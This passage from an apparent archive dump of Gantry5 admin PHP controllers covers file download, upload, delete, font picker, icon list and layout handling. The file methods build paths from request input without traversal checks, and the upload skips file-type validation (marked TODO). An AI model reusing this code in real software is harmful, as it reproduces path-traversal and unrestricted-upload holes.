    public function displayFile()
    {
        $path = implode('/', func_get_args());

        $this->doDownload($path, false);

    }

    protected function doDownload($path, $download)
    {
        if (!$path) {
            throw new \RuntimeException('No file specified',
400);
        }

        // TODO: handle streams
        $targetPath = GANTRY5_ROOT . '/' . $path;

        if (!file_exists($targetPath)) {
            throw new \RuntimeException(sprintf('File not found:
%s', $path), 404);
        }

        $hash = md5_file($path);

        // Handle 304 Not Modified
        if
(isset($this->request->server['HTTP_IF_NONE_MATCH'])) {
            $etag =
stripslashes($this->request->server['HTTP_IF_NONE_MATCH']);

            if ($etag == $hash) {
                header('Last-Modified: ' . gmdate('D, d M Y
H:i:s', filemtime($path)) . ' GMT', true, 304);

                // Give fast response.
                flush();
                exit();
            }
        }

        // Set file headers.
        header('ETag: ' . $hash);
        header('Pragma: public');
        header('Last-Modified: ' . gmdate('D, d M Y
H:i:s', filemtime($path)) . ' GMT');

        // Get the image file information.
        $info    = getimagesize($path);
        $isImage = (bool)$info;

        if (!$download && $isImage) {
            $fileType = $info['mime'];

            // Force re-validate.
            header('Expires: 0');
            header('Cache-Control: must-revalidate, post-check=0,
pre-check=0');
            header('Content-type: ' . $fileType);
            header('Content-Disposition: inline; filename="'
. basename($path) . '"');
        } else {
            // Force file download.
            header('Expires: 0');
            header('Cache-Control: must-revalidate, post-check=0,
pre-check=0');
            header('Content-Description: File Transfer');
            header('Content-Type: application/force-download');
            header('Content-Type: application/octet-stream');
            header('Content-Type: application/download');
            header('Content-Disposition: attachment;
filename="' . basename($path) . '"');
        }

        header('Content-Transfer-Encoding: binary');
        header('Content-Length: ' . filesize($path));
        flush();

        // Output the file contents.
        @readfile($path);
        flush();

        exit();

    }

    public function downloadFile()
    {
        $path = implode('/', func_get_args());

        $this->doDownload($path, true);

    }

    public function upload()
    {
        /** @var UniformResourceLocator $locator */
        $locator = $this->container['locator'];
        $path    = implode('/', func_get_args());

        if (base64_decode($path, true) !== false) {
            $path = urldecode(base64_decode($path));
        }

        $stream = explode('://', $path);
        $scheme = $stream[0];

        $isStream = $locator->schemeExists($scheme);
        if ($isStream) {
            $targetPath = dirname($locator->findResource($path, true,
true));
        } else {
            $targetPath = dirname(GANTRY5_ROOT . '/' . $path);
        }

        if (!isset($_FILES['file']['error']) ||
is_array($_FILES['file']['error'])) {
            throw new \RuntimeException('No file sent', 400);
        }

        // Check $_FILES['file']['error'] value.
        switch ($_FILES['file']['error']) {
            case UPLOAD_ERR_OK:
                break;
            case UPLOAD_ERR_NO_FILE:
                throw new \RuntimeException('No file sent', 400);
            case UPLOAD_ERR_INI_SIZE:
            case UPLOAD_ERR_FORM_SIZE:
                throw new \RuntimeException('Exceeded filesize
limit.', 400);
            default:
                throw new \RuntimeException('Unkown errors',
400);
        }

        $maxSize =
$this->returnBytes(min(ini_get('post_max_size'),
ini_get('upload_max_filesize')));
        if ($_FILES['file']['size'] > $maxSize) {
            throw new \RuntimeException('Exceeded filesize limit. File
is ' . $_FILES['file']['size'] . ', maximum
allowed is ' . $maxSize, 400);
        }

        // Check extension
        $fileParts = pathinfo($_FILES['file']['name']);
        $fileExt   = strtolower($fileParts['extension']);

        // TODO: check if download is of supported type.

        // Upload it
        $destination = sprintf('%s/%s', $targetPath,
$_FILES['file']['name']);
        $destination = preg_replace('#//#', '/',
$destination);

        Folder::create($targetPath);

        if
(!move_uploaded_file($_FILES['file']['tmp_name'],
$destination)) {
            throw new \RuntimeException('Failed to move uploaded
file.', 500);
        }

        $finfo = new \stdClass();
        $this->attachData($finfo, new \SplFileInfo($destination),
$targetPath);
        return new JsonResponse(['success' => 'File
uploaded successfully', 'finfo' => $finfo,
'url' => $path]);

    }

    protected function returnBytes($size_str)
    {
        switch (strtolower(substr($size_str, -1))) {
            case 'm':
            case 'mb':
                return (int)$size_str * 1048576;
            case 'k':
            case 'kb':
                return (int)$size_str * 1024;
            case 'g':
            case 'gb':
                return (int)$size_str * 1073741824;
            default:
                return $size_str;
        }

    }

    public function delete()
    {
        /** @var UniformResourceLocator $locator */
        $locator = $this->container['locator'];
        $path    = implode('/', func_get_args());

        if (base64_decode($path, true) !== false) {
            $path = urldecode(base64_decode($path));
        }

        $stream = explode('://', $path);
        $scheme = $stream[0];

        if (!$path) {
            throw new \RuntimeException('No file specified for
delete', 400);
        }

        $isStream = $locator->schemeExists($scheme);
        if ($isStream) {
            $targetPath = $locator->findResource($path, true, true);
        } else {
            $targetPath = GANTRY5_ROOT . '/' . $path;
        }

        $file = File::instance($targetPath);

        if (!$file->exists()) {
            throw new \RuntimeException(sprintf('File not found:
%s', $targetPath), 404);
        }

        try {
            $file->delete();
        } catch (\Exception $e) {
            throw new \RuntimeException(sprintf('File could not be
deleted: %s', $targetPath), 500);
        }
        $file->free();

        return new JsonResponse(['success', 'File deleted:
' . $targetPath]);
    }

    private function isStream($folder)
    {
        return $folder instanceof UniformResourceIterator ||
strpos($folder, '://');
    }
}
Gantry/Admin/Controller/Json/Fontpicker.php000064400000006714151157471010014723
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Admin\Controller\Json;

use Gantry\Component\Admin\JsonController;
use Gantry\Component\Response\JsonResponse;
use RocketTheme\Toolbox\File\JsonFile;

class Fontpicker extends JsonController
{
    protected $google_fonts =
'gantry-admin://js/google-fonts.json';

    protected $httpVerbs = [
        'GET' => [
            '/' => 'index'
        ]
    ];

    public function index()
    {
        $this->params['fonts'] = $this->loadGoogleFonts();
        $this->params['variantsMap'] =
$this->variantsMap();
        $response = [
            'html' =>
$this->render('@gantry-admin/ajax/fontpicker.html.twig',
$this->params)
        ];
        return new JsonResponse($response);
    }

    public function loadGoogleFonts()
    {
        $data = new \stdClass();
        $file = JsonFile::instance($this->google_fonts);
        $fonts = $file->content()['items'];
        $file->free();

        $data->categories = [];
        $data->subsets = [];

        // create list of unique categories and subsets
        array_walk($fonts, function (&$item) use ($data) {
            if (!in_array($item->category, $data->categories)) {
                $data->categories[] = $item->category;
            }
            $data->subsets = array_unique(array_merge($data->subsets,
$item->subsets));
        });

        asort($data->categories);
        asort($data->subsets);

        $data->families = $fonts;
        $data->local_families = $this->loadLocalFonts();

        if (count($data->local_families)) {
            array_unshift($data->categories, 'local-fonts');
        }

        $data->count = count($data->families);

        return $data;
    }

    public function loadLocalFonts()
    {
        $local_fonts =
$this->container['theme']->details()->get('configuration.fonts',
[]);
        $map = [];

        foreach ($local_fonts as $name => $variants) {
            if (is_array($variants)) {
                $list = array_keys($variants);
            } else {
                $list = ['regular'];
            }

            $map[] = ['family' => $name, 'variants'
=> $list, 'category' => 'local-fonts'];
        }

        return $map;
    }

    protected function variantsMap()
    {
        return [
            '100'       => 'Thin 100',
            '100italic' => 'Thin 100 Italic',
            '200'       => 'Extra-Light 200',
            '200italic' => 'Extra-Light 200 Italic',
            '300'       => 'Light 300',
            '300italic' => 'Light 300 Italic',
            '400'       => 'Normal 400',
            'regular'   => 'Normal 400',
            '400italic' => 'Normal 400 Italic',
            'italic'    => 'Normal 400 Italic',
            '500'       => 'Medium 500',
            '500italic' => 'Medium 500 Italic',
            '600'       => 'Semi-Bold 600',
            '600italic' => 'Semi-Bold 600 Italic',
            '700'       => 'Bold 700',
            '700italic' => 'Bold 700 Italic',
            '800'       => 'Extra-Bold 800',
            '800italic' => 'Extra-Bold 800 Italic',
            '900'       => 'Ultra-Bold 900',
            '900italic' => 'Ultra-Bold 900 Italic'
        ];
    }
}
Gantry/Admin/Controller/Json/Icons.php000064400000043200151157471010013661
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Admin\Controller\Json;

use Gantry\Component\Admin\JsonController;
use Gantry\Component\Response\JsonResponse;

class Icons extends JsonController
{
    public function index()
    {
        $response = [];

        // Font Awesome Icons list [v4.7.0 - 730 icons]
        // NOTE: To get an updated list of icons:
        //       1. Go to: http://fontawesome.io/icons/
        //       2. Open Console in Deveveloper Tools
        //       3. Type this JS snippet: var list = [];
document.querySelectorAll('.fontawesome-icon-list
i').forEach(function(icon, index){ var name =
icon.className.replace(/^fa\s/, ''); list.push(name); }); var
output = '$list = ["' + list.join('",
"') + '"];'; console.log(output); copy(output);
console.info('The output has been copied to the clipboard, you can now
CMD + V / CTRL + V to update the icons variable');
        //       4. Press Enter and replace the line below
        $list = ["fa-address-book",
"fa-address-book-o", "fa-address-card",
"fa-address-card-o", "fa-bandcamp",
"fa-bath", "fa-bathtub",
"fa-drivers-license", "fa-drivers-license-o",
"fa-eercast", "fa-envelope-open",
"fa-envelope-open-o", "fa-etsy",
"fa-free-code-camp", "fa-grav",
"fa-handshake-o", "fa-id-badge",
"fa-id-card", "fa-id-card-o", "fa-imdb",
"fa-linode", "fa-meetup", "fa-microchip",
"fa-podcast", "fa-quora", "fa-ravelry",
"fa-s15", "fa-shower", "fa-snowflake-o",
"fa-superpowers", "fa-telegram",
"fa-thermometer", "fa-thermometer-0",
"fa-thermometer-1", "fa-thermometer-2",
"fa-thermometer-3", "fa-thermometer-4",
"fa-thermometer-empty", "fa-thermometer-full",
"fa-thermometer-half", "fa-thermometer-quarter",
"fa-thermometer-three-quarters", "fa-times-rectangle",
"fa-times-rectangle-o", "fa-user-circle",
"fa-user-circle-o", "fa-user-o", "fa-vcard",
"fa-vcard-o", "fa-window-close",
"fa-window-close-o", "fa-window-maximize",
"fa-window-minimize", "fa-window-restore",
"fa-wpexplorer", "fa-address-book",
"fa-address-book-o", "fa-address-card",
"fa-address-card-o", "fa-adjust",
"fa-american-sign-language-interpreting", "fa-anchor",
"fa-archive", "fa-area-chart", "fa-arrows",
"fa-arrows-h", "fa-arrows-v",
"fa-asl-interpreting",
"fa-assistive-listening-systems", "fa-asterisk",
"fa-at", "fa-audio-description",
"fa-automobile", "fa-balance-scale",
"fa-ban", "fa-bank", "fa-bar-chart",
"fa-bar-chart-o", "fa-barcode", "fa-bars",
"fa-bath", "fa-bathtub", "fa-battery",
"fa-battery-0", "fa-battery-1",
"fa-battery-2", "fa-battery-3",
"fa-battery-4", "fa-battery-empty",
"fa-battery-full", "fa-battery-half",
"fa-battery-quarter", "fa-battery-three-quarters",
"fa-bed", "fa-beer", "fa-bell",
"fa-bell-o", "fa-bell-slash",
"fa-bell-slash-o", "fa-bicycle",
"fa-binoculars", "fa-birthday-cake",
"fa-blind", "fa-bluetooth", "fa-bluetooth-b",
"fa-bolt", "fa-bomb", "fa-book",
"fa-bookmark", "fa-bookmark-o", "fa-braille",
"fa-briefcase", "fa-bug", "fa-building",
"fa-building-o", "fa-bullhorn",
"fa-bullseye", "fa-bus", "fa-cab",
"fa-calculator", "fa-calendar",
"fa-calendar-check-o", "fa-calendar-minus-o",
"fa-calendar-o", "fa-calendar-plus-o",
"fa-calendar-times-o", "fa-camera",
"fa-camera-retro", "fa-car",
"fa-caret-square-o-down", "fa-caret-square-o-left",
"fa-caret-square-o-right", "fa-caret-square-o-up",
"fa-cart-arrow-down", "fa-cart-plus",
"fa-cc", "fa-certificate", "fa-check",
"fa-check-circle", "fa-check-circle-o",
"fa-check-square", "fa-check-square-o",
"fa-child", "fa-circle", "fa-circle-o",
"fa-circle-o-notch", "fa-circle-thin",
"fa-clock-o", "fa-clone", "fa-close",
"fa-cloud", "fa-cloud-download",
"fa-cloud-upload", "fa-code", "fa-code-fork",
"fa-coffee", "fa-cog", "fa-cogs",
"fa-comment", "fa-comment-o",
"fa-commenting", "fa-commenting-o",
"fa-comments", "fa-comments-o", "fa-compass",
"fa-copyright", "fa-creative-commons",
"fa-credit-card", "fa-credit-card-alt",
"fa-crop", "fa-crosshairs", "fa-cube",
"fa-cubes", "fa-cutlery", "fa-dashboard",
"fa-database", "fa-deaf", "fa-deafness",
"fa-desktop", "fa-diamond",
"fa-dot-circle-o", "fa-download",
"fa-drivers-license", "fa-drivers-license-o",
"fa-edit", "fa-ellipsis-h", "fa-ellipsis-v",
"fa-envelope", "fa-envelope-o",
"fa-envelope-open", "fa-envelope-open-o",
"fa-envelope-square", "fa-eraser",
"fa-exchange", "fa-exclamation",
"fa-exclamation-circle", "fa-exclamation-triangle",
"fa-external-link", "fa-external-link-square",
"fa-eye", "fa-eye-slash", "fa-eyedropper",
"fa-fax", "fa-feed", "fa-female",
"fa-fighter-jet", "fa-file-archive-o",
"fa-file-audio-o", "fa-file-code-o",
"fa-file-excel-o", "fa-file-image-o",
"fa-file-movie-o", "fa-file-pdf-o",
"fa-file-photo-o", "fa-file-picture-o",
"fa-file-powerpoint-o", "fa-file-sound-o",
"fa-file-video-o", "fa-file-word-o",
"fa-file-zip-o", "fa-film", "fa-filter",
"fa-fire", "fa-fire-extinguisher", "fa-flag",
"fa-flag-checkered", "fa-flag-o", "fa-flash",
"fa-flask", "fa-folder", "fa-folder-o",
"fa-folder-open", "fa-folder-open-o",
"fa-frown-o", "fa-futbol-o", "fa-gamepad",
"fa-gavel", "fa-gear", "fa-gears",
"fa-gift", "fa-glass", "fa-globe",
"fa-graduation-cap", "fa-group",
"fa-hand-grab-o", "fa-hand-lizard-o",
"fa-hand-paper-o", "fa-hand-peace-o",
"fa-hand-pointer-o", "fa-hand-rock-o",
"fa-hand-scissors-o", "fa-hand-spock-o",
"fa-hand-stop-o", "fa-handshake-o",
"fa-hard-of-hearing", "fa-hashtag",
"fa-hdd-o", "fa-headphones", "fa-heart",
"fa-heart-o", "fa-heartbeat", "fa-history",
"fa-home", "fa-hotel", "fa-hourglass",
"fa-hourglass-1", "fa-hourglass-2",
"fa-hourglass-3", "fa-hourglass-end",
"fa-hourglass-half", "fa-hourglass-o",
"fa-hourglass-start", "fa-i-cursor",
"fa-id-badge", "fa-id-card", "fa-id-card-o",
"fa-image", "fa-inbox", "fa-industry",
"fa-info", "fa-info-circle",
"fa-institution", "fa-key", "fa-keyboard-o",
"fa-language", "fa-laptop", "fa-leaf",
"fa-legal", "fa-lemon-o", "fa-level-down",
"fa-level-up", "fa-life-bouy",
"fa-life-buoy", "fa-life-ring",
"fa-life-saver", "fa-lightbulb-o",
"fa-line-chart", "fa-location-arrow",
"fa-lock", "fa-low-vision", "fa-magic",
"fa-magnet", "fa-mail-forward",
"fa-mail-reply", "fa-mail-reply-all",
"fa-male", "fa-map", "fa-map-marker",
"fa-map-o", "fa-map-pin", "fa-map-signs",
"fa-meh-o", "fa-microchip", "fa-microphone",
"fa-microphone-slash", "fa-minus",
"fa-minus-circle", "fa-minus-square",
"fa-minus-square-o", "fa-mobile",
"fa-mobile-phone", "fa-money", "fa-moon-o",
"fa-mortar-board", "fa-motorcycle",
"fa-mouse-pointer", "fa-music", "fa-navicon",
"fa-newspaper-o", "fa-object-group",
"fa-object-ungroup", "fa-paint-brush",
"fa-paper-plane", "fa-paper-plane-o",
"fa-paw", "fa-pencil", "fa-pencil-square",
"fa-pencil-square-o", "fa-percent",
"fa-phone", "fa-phone-square", "fa-photo",
"fa-picture-o", "fa-pie-chart", "fa-plane",
"fa-plug", "fa-plus", "fa-plus-circle",
"fa-plus-square", "fa-plus-square-o",
"fa-podcast", "fa-power-off", "fa-print",
"fa-puzzle-piece", "fa-qrcode",
"fa-question", "fa-question-circle",
"fa-question-circle-o", "fa-quote-left",
"fa-quote-right", "fa-random", "fa-recycle",
"fa-refresh", "fa-registered", "fa-remove",
"fa-reorder", "fa-reply", "fa-reply-all",
"fa-retweet", "fa-road", "fa-rocket",
"fa-rss", "fa-rss-square", "fa-s15",
"fa-search", "fa-search-minus",
"fa-search-plus", "fa-send", "fa-send-o",
"fa-server", "fa-share", "fa-share-alt",
"fa-share-alt-square", "fa-share-square",
"fa-share-square-o", "fa-shield", "fa-ship",
"fa-shopping-bag", "fa-shopping-basket",
"fa-shopping-cart", "fa-shower",
"fa-sign-in", "fa-sign-language",
"fa-sign-out", "fa-signal", "fa-signing",
"fa-sitemap", "fa-sliders", "fa-smile-o",
"fa-snowflake-o", "fa-soccer-ball-o",
"fa-sort", "fa-sort-alpha-asc",
"fa-sort-alpha-desc", "fa-sort-amount-asc",
"fa-sort-amount-desc", "fa-sort-asc",
"fa-sort-desc", "fa-sort-down",
"fa-sort-numeric-asc", "fa-sort-numeric-desc",
"fa-sort-up", "fa-space-shuttle",
"fa-spinner", "fa-spoon", "fa-square",
"fa-square-o", "fa-star", "fa-star-half",
"fa-star-half-empty", "fa-star-half-full",
"fa-star-half-o", "fa-star-o",
"fa-sticky-note", "fa-sticky-note-o",
"fa-street-view", "fa-suitcase", "fa-sun-o",
"fa-support", "fa-tablet", "fa-tachometer",
"fa-tag", "fa-tags", "fa-tasks",
"fa-taxi", "fa-television", "fa-terminal",
"fa-thermometer", "fa-thermometer-0",
"fa-thermometer-1", "fa-thermometer-2",
"fa-thermometer-3", "fa-thermometer-4",
"fa-thermometer-empty", "fa-thermometer-full",
"fa-thermometer-half", "fa-thermometer-quarter",
"fa-thermometer-three-quarters", "fa-thumb-tack",
"fa-thumbs-down", "fa-thumbs-o-down",
"fa-thumbs-o-up", "fa-thumbs-up",
"fa-ticket", "fa-times", "fa-times-circle",
"fa-times-circle-o", "fa-times-rectangle",
"fa-times-rectangle-o", "fa-tint",
"fa-toggle-down", "fa-toggle-left",
"fa-toggle-off", "fa-toggle-on",
"fa-toggle-right", "fa-toggle-up",
"fa-trademark", "fa-trash", "fa-trash-o",
"fa-tree", "fa-trophy", "fa-truck",
"fa-tty", "fa-tv", "fa-umbrella",
"fa-universal-access", "fa-university",
"fa-unlock", "fa-unlock-alt", "fa-unsorted",
"fa-upload", "fa-user", "fa-user-circle",
"fa-user-circle-o", "fa-user-o",
"fa-user-plus", "fa-user-secret",
"fa-user-times", "fa-users", "fa-vcard",
"fa-vcard-o", "fa-video-camera",
"fa-volume-control-phone", "fa-volume-down",
"fa-volume-off", "fa-volume-up",
"fa-warning", "fa-wheelchair",
"fa-wheelchair-alt", "fa-wifi",
"fa-window-close", "fa-window-close-o",
"fa-window-maximize", "fa-window-minimize",
"fa-window-restore", "fa-wrench",
"fa-american-sign-language-interpreting",
"fa-asl-interpreting",
"fa-assistive-listening-systems",
"fa-audio-description", "fa-blind",
"fa-braille", "fa-cc", "fa-deaf",
"fa-deafness", "fa-hard-of-hearing",
"fa-low-vision", "fa-question-circle-o",
"fa-sign-language", "fa-signing", "fa-tty",
"fa-universal-access", "fa-volume-control-phone",
"fa-wheelchair", "fa-wheelchair-alt",
"fa-hand-grab-o", "fa-hand-lizard-o",
"fa-hand-o-down", "fa-hand-o-left",
"fa-hand-o-right", "fa-hand-o-up",
"fa-hand-paper-o", "fa-hand-peace-o",
"fa-hand-pointer-o", "fa-hand-rock-o",
"fa-hand-scissors-o", "fa-hand-spock-o",
"fa-hand-stop-o", "fa-thumbs-down",
"fa-thumbs-o-down", "fa-thumbs-o-up",
"fa-thumbs-up", "fa-ambulance",
"fa-automobile", "fa-bicycle", "fa-bus",
"fa-cab", "fa-car", "fa-fighter-jet",
"fa-motorcycle", "fa-plane", "fa-rocket",
"fa-ship", "fa-space-shuttle", "fa-subway",
"fa-taxi", "fa-train", "fa-truck",
"fa-wheelchair", "fa-wheelchair-alt",
"fa-genderless", "fa-intersex", "fa-mars",
"fa-mars-double", "fa-mars-stroke",
"fa-mars-stroke-h", "fa-mars-stroke-v",
"fa-mercury", "fa-neuter", "fa-transgender",
"fa-transgender-alt", "fa-venus",
"fa-venus-double", "fa-venus-mars",
"fa-file", "fa-file-archive-o",
"fa-file-audio-o", "fa-file-code-o",
"fa-file-excel-o", "fa-file-image-o",
"fa-file-movie-o", "fa-file-o",
"fa-file-pdf-o", "fa-file-photo-o",
"fa-file-picture-o", "fa-file-powerpoint-o",
"fa-file-sound-o", "fa-file-text",
"fa-file-text-o", "fa-file-video-o",
"fa-file-word-o", "fa-file-zip-o",
"fa-circle-o-notch", "fa-cog", "fa-gear",
"fa-refresh", "fa-spinner",
"fa-check-square", "fa-check-square-o",
"fa-circle", "fa-circle-o",
"fa-dot-circle-o", "fa-minus-square",
"fa-minus-square-o", "fa-plus-square",
"fa-plus-square-o", "fa-square",
"fa-square-o", "fa-cc-amex",
"fa-cc-diners-club", "fa-cc-discover",
"fa-cc-jcb", "fa-cc-mastercard",
"fa-cc-paypal", "fa-cc-stripe", "fa-cc-visa",
"fa-credit-card", "fa-credit-card-alt",
"fa-google-wallet", "fa-paypal",
"fa-area-chart", "fa-bar-chart",
"fa-bar-chart-o", "fa-line-chart",
"fa-pie-chart", "fa-bitcoin", "fa-btc",
"fa-cny", "fa-dollar", "fa-eur",
"fa-euro", "fa-gbp", "fa-gg",
"fa-gg-circle", "fa-ils", "fa-inr",
"fa-jpy", "fa-krw", "fa-money",
"fa-rmb", "fa-rouble", "fa-rub",
"fa-ruble", "fa-rupee", "fa-shekel",
"fa-sheqel", "fa-try", "fa-turkish-lira",
"fa-usd", "fa-won", "fa-yen",
"fa-align-center", "fa-align-justify",
"fa-align-left", "fa-align-right", "fa-bold",
"fa-chain", "fa-chain-broken",
"fa-clipboard", "fa-columns", "fa-copy",
"fa-cut", "fa-dedent", "fa-eraser",
"fa-file", "fa-file-o", "fa-file-text",
"fa-file-text-o", "fa-files-o",
"fa-floppy-o", "fa-font", "fa-header",
"fa-indent", "fa-italic", "fa-link",
"fa-list", "fa-list-alt", "fa-list-ol",
"fa-list-ul", "fa-outdent", "fa-paperclip",
"fa-paragraph", "fa-paste", "fa-repeat",
"fa-rotate-left", "fa-rotate-right",
"fa-save", "fa-scissors", "fa-strikethrough",
"fa-subscript", "fa-superscript", "fa-table",
"fa-text-height", "fa-text-width", "fa-th",
"fa-th-large", "fa-th-list", "fa-underline",
"fa-undo", "fa-unlink",
"fa-angle-double-down", "fa-angle-double-left",
"fa-angle-double-right", "fa-angle-double-up",
"fa-angle-down", "fa-angle-left",
"fa-angle-right", "fa-angle-up",
"fa-arrow-circle-down", "fa-arrow-circle-left",
"fa-arrow-circle-o-down", "fa-arrow-circle-o-left",
"fa-arrow-circle-o-right", "fa-arrow-circle-o-up",
"fa-arrow-circle-right", "fa-arrow-circle-up",
"fa-arrow-down", "fa-arrow-left",
"fa-arrow-right", "fa-arrow-up", "fa-arrows",
"fa-arrows-alt", "fa-arrows-h",
"fa-arrows-v", "fa-caret-down",
"fa-caret-left", "fa-caret-right",
"fa-caret-square-o-down", "fa-caret-square-o-left",
"fa-caret-square-o-right", "fa-caret-square-o-up",
"fa-caret-up", "fa-chevron-circle-down",
"fa-chevron-circle-left", "fa-chevron-circle-right",
"fa-chevron-circle-up", "fa-chevron-down",
"fa-chevron-left", "fa-chevron-right",
"fa-chevron-up", "fa-exchange",
"fa-hand-o-down", "fa-hand-o-left",
"fa-hand-o-right", "fa-hand-o-up",
"fa-long-arrow-down", "fa-long-arrow-left",
"fa-long-arrow-right", "fa-long-arrow-up",
"fa-toggle-down", "fa-toggle-left",
"fa-toggle-right", "fa-toggle-up",
"fa-arrows-alt", "fa-backward",
"fa-compress", "fa-eject", "fa-expand",
"fa-fast-backward", "fa-fast-forward",
"fa-forward", "fa-pause", "fa-pause-circle",
"fa-pause-circle-o", "fa-play",
"fa-play-circle", "fa-play-circle-o",
"fa-random", "fa-step-backward",
"fa-step-forward", "fa-stop",
"fa-stop-circle", "fa-stop-circle-o",
"fa-youtube-play", "fa-500px", "fa-adn",
"fa-amazon", "fa-android", "fa-angellist",
"fa-apple", "fa-bandcamp", "fa-behance",
"fa-behance-square", "fa-bitbucket",
"fa-bitbucket-square", "fa-bitcoin",
"fa-black-tie", "fa-bluetooth",
"fa-bluetooth-b", "fa-btc", "fa-buysellads",
"fa-cc-amex", "fa-cc-diners-club",
"fa-cc-discover", "fa-cc-jcb",
"fa-cc-mastercard", "fa-cc-paypal",
"fa-cc-stripe", "fa-cc-visa", "fa-chrome",
"fa-codepen", "fa-codiepie",
"fa-connectdevelop", "fa-contao", "fa-css3",
"fa-dashcube", "fa-delicious",
"fa-deviantart", "fa-digg", "fa-dribbble",
"fa-dropbox", "fa-drupal", "fa-edge",
"fa-eercast", "fa-empire", "fa-envira",
"fa-etsy", "fa-expeditedssl", "fa-fa",
"fa-facebook", "fa-facebook-f",
"fa-facebook-official", "fa-facebook-square",
"fa-firefox", "fa-first-order", "fa-flickr",
"fa-font-awesome", "fa-fonticons",
"fa-fort-awesome", "fa-forumbee",
"fa-foursquare", "fa-free-code-camp",
"fa-ge", "fa-get-pocket", "fa-gg",
"fa-gg-circle", "fa-git", "fa-git-square",
"fa-github", "fa-github-alt",
"fa-github-square", "fa-gitlab", "fa-gittip",
"fa-glide", "fa-glide-g", "fa-google",
"fa-google-plus", "fa-google-plus-circle",
"fa-google-plus-official", "fa-google-plus-square",
"fa-google-wallet", "fa-gratipay", "fa-grav",
"fa-hacker-news", "fa-houzz", "fa-html5",
"fa-imdb", "fa-instagram",
"fa-internet-explorer", "fa-ioxhost",
"fa-joomla", "fa-jsfiddle", "fa-lastfm",
"fa-lastfm-square", "fa-leanpub",
"fa-linkedin", "fa-linkedin-square",
"fa-linode", "fa-linux", "fa-maxcdn",
"fa-meanpath", "fa-medium", "fa-meetup",
"fa-mixcloud", "fa-modx", "fa-odnoklassniki",
"fa-odnoklassniki-square", "fa-opencart",
"fa-openid", "fa-opera", "fa-optin-monster",
"fa-pagelines", "fa-paypal", "fa-pied-piper",
"fa-pied-piper-alt", "fa-pied-piper-pp",
"fa-pinterest", "fa-pinterest-p",
"fa-pinterest-square", "fa-product-hunt",
"fa-qq", "fa-quora", "fa-ra",
"fa-ravelry", "fa-rebel", "fa-reddit",
"fa-reddit-alien", "fa-reddit-square",
"fa-renren", "fa-resistance", "fa-safari",
"fa-scribd", "fa-sellsy", "fa-share-alt",
"fa-share-alt-square", "fa-shirtsinbulk",
"fa-simplybuilt", "fa-skyatlas", "fa-skype",
"fa-slack", "fa-slideshare", "fa-snapchat",
"fa-snapchat-ghost", "fa-snapchat-square",
"fa-soundcloud", "fa-spotify",
"fa-stack-exchange", "fa-stack-overflow",
"fa-steam", "fa-steam-square",
"fa-stumbleupon", "fa-stumbleupon-circle",
"fa-superpowers", "fa-telegram",
"fa-tencent-weibo", "fa-themeisle",
"fa-trello", "fa-tripadvisor", "fa-tumblr",
"fa-tumblr-square", "fa-twitch",
"fa-twitter", "fa-twitter-square", "fa-usb",
"fa-viacoin", "fa-viadeo",
"fa-viadeo-square", "fa-vimeo",
"fa-vimeo-square", "fa-vine", "fa-vk",
"fa-wechat", "fa-weibo", "fa-weixin",
"fa-whatsapp", "fa-wikipedia-w",
"fa-windows", "fa-wordpress",
"fa-wpbeginner", "fa-wpexplorer",
"fa-wpforms", "fa-xing", "fa-xing-square",
"fa-y-combinator", "fa-y-combinator-square",
"fa-yahoo", "fa-yc", "fa-yc-square",
"fa-yelp", "fa-yoast", "fa-youtube",
"fa-youtube-play", "fa-youtube-square",
"fa-ambulance", "fa-h-square", "fa-heart",
"fa-heart-o", "fa-heartbeat",
"fa-hospital-o", "fa-medkit",
"fa-plus-square", "fa-stethoscope",
"fa-user-md", "fa-wheelchair",
"fa-wheelchair-alt"];
        $options = [
            'fw' => 'Fixed Width',
            'spin' => 'Spinning',
            'larger' => ['' => '- Size -
', 'lg' => 'Large', '2x' =>
'2x', '3x' => '3x', '4x' =>
'4x', '5x' => '5x'],
            'rotation' => ['' => '- Rotation
-', 'flip-horizontal' => 'Horizontal Flip',
'flip-vertical' => 'Vertical Flip',
'rotate-90' => 'Rotate 90°', 'rotate-180'
=> 'Rotate 180°', 'rotate-270' => 'Rotate
270°']
        ];

        $list = array_unique($list);
        sort($list);

        $response['html'] =
$this->render('@gantry-admin/ajax/icons.html.twig',
['icons' => $list, 'options' => $options,
'total' => count($list)]);

        return new JsonResponse($response);
    }
}
Gantry/Admin/Controller/Json/Layouts.php000064400000020114151157471010014245
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Admin\Controller\Json;

use Gantry\Component\Admin\JsonController;
use Gantry\Component\Config\BlueprintForm;
use Gantry\Component\Layout\Layout;
use Gantry\Component\Response\JsonResponse;

/**
 * Class Layouts
 * @package Gantry\Admin\Controller\Json
 */
class Layouts extends JsonController
{
    protected $httpVerbs = [
        'GET' => [
            '/' => 'index',
            '/*' => 'index',
            '/particle' => 'particle'
        ],
        'POST' => [
            '/' => 'index',
            '/*' => 'index',
            '/particle' => 'particle'
        ]
    ];
    
    public function index()
    {
        $path = implode('/', func_get_args());

        $post = $this->request->request;

        $outline = $post['outline'];
        $type = $post['type'];
        $subtype = $post['subtype'];
        $inherit = $post['inherit'];
        $clone = $post['mode'] === 'clone';
        $id = $post['id'];

        $this->container['outline'] = $outline;
        $this->container['configuration'] = $outline;

        $layout = Layout::instance($outline);
        if ($inherit) {
            $layout->inheritAll();
        }

        if ($path == 'list' &&
!$layout->isLayoutType($type)) {
            $instance = $this->getParticleInstances($outline, $subtype,
null);
